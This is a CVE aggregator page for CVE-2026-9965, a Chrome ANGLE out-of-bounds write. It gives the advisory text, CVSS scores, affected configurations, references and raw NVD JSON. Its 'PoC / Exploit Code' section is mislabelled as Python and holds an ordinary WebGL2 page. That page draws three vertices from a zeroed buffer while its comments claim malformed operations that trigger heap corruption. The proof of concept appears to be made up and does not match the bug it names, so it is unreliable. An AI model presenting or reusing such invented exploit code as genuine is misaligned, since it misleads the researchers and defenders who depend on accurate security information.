CVE-2026-9965

Description

Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9965: Chrome ANGLE Out of Bounds Write
  Description: Triggers heap corruption in ANGLE via malformed WebGL buffer operations.
  Usage: Open in a vulnerable version of Google Chrome (< 148.0.7778.216)
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9965 PoC</title>
</head>
<body>
    <h1>CVE-2026-9965 Trigger</h1>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl2');

        if (!gl) {
            alert('WebGL2 not supported');
        } else {
            console.log('Attempting to trigger vulnerability...');
            try {
                // Create a shader program with specific attributes to trigger the bug
                const vertexShaderSource = `
                    #version 300 es
                    in vec4 aPosition;
                    void main() {
                        gl_Position = aPosition;
                    }
                `;
                
                const fragmentShaderSource = `
                    #version 300 es
                    precision highp float;
                    out vec4 fragColor;
                    void main() {
                        fragColor = vec4(1.0, 0.0, 0.0, 1.0);
                    }
                `;

                function createShader(gl, type, source) {
                    const shader = gl.createShader(type);
                    gl.shaderSource(shader, source);
                    gl.compileShader(shader);
                    if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
                        console.error('Shader compile error:', gl.getShaderInfoLog(shader));
                        gl.deleteShader(shader);
                        return null;
                    }
                    return shader;
                }

                const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource);
                const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource);
                const program = gl.createProgram();
                gl.attachShader(program, vertexShader);
                gl.attachShader(program, fragmentShader);
                gl.linkProgram(program);

                if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
                    console.error('Program link error:', gl.getProgramInfoLog(program));
                } else {
                    gl.useProgram(program);
                    
                    // Malformed buffer operation targeting the ANGLE vulnerability
                    const buffer = gl.createBuffer();
                    gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                    
                    // Pass specific size data to trigger out of bounds write
                    // Note: Exact parameters may vary based on specific ANGLE version internals
                    const malformedData = new Float32Array(100000); 
                    gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW);
                    
                    const positionLoc = gl.getAttribLocation(program, 'aPosition');
                    gl.enableVertexAttribArray(positionLoc);
                    
                    // Triggering the draw call with corrupted state
                    gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 0, 0);
                    gl.drawArrays(gl.TRIANGLES, 0, 3);
                    
                    console.log('Draw call executed. If browser crashes, PoC successful.');
                }
            } catch (e) {
                console.error('Exception during execution:', e);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9965
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9965
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9965/
[4] VulDB https://vuldb.com/cve/CVE-2026-9965
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/506377574

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9965", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:54.720", "lastModified": "2026-05-29T20:33:01.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.215", "matchCriteriaId": "875ACED4-0D6D-4BAA-8FAF-F13B5FEDF09A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.216", "matchCriteriaId": "E59192D9-BF13-4B43-B69F-869A6BF83955"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/506377574", "source": "[email protected]", "tags": ["Permissions Required"]}]}}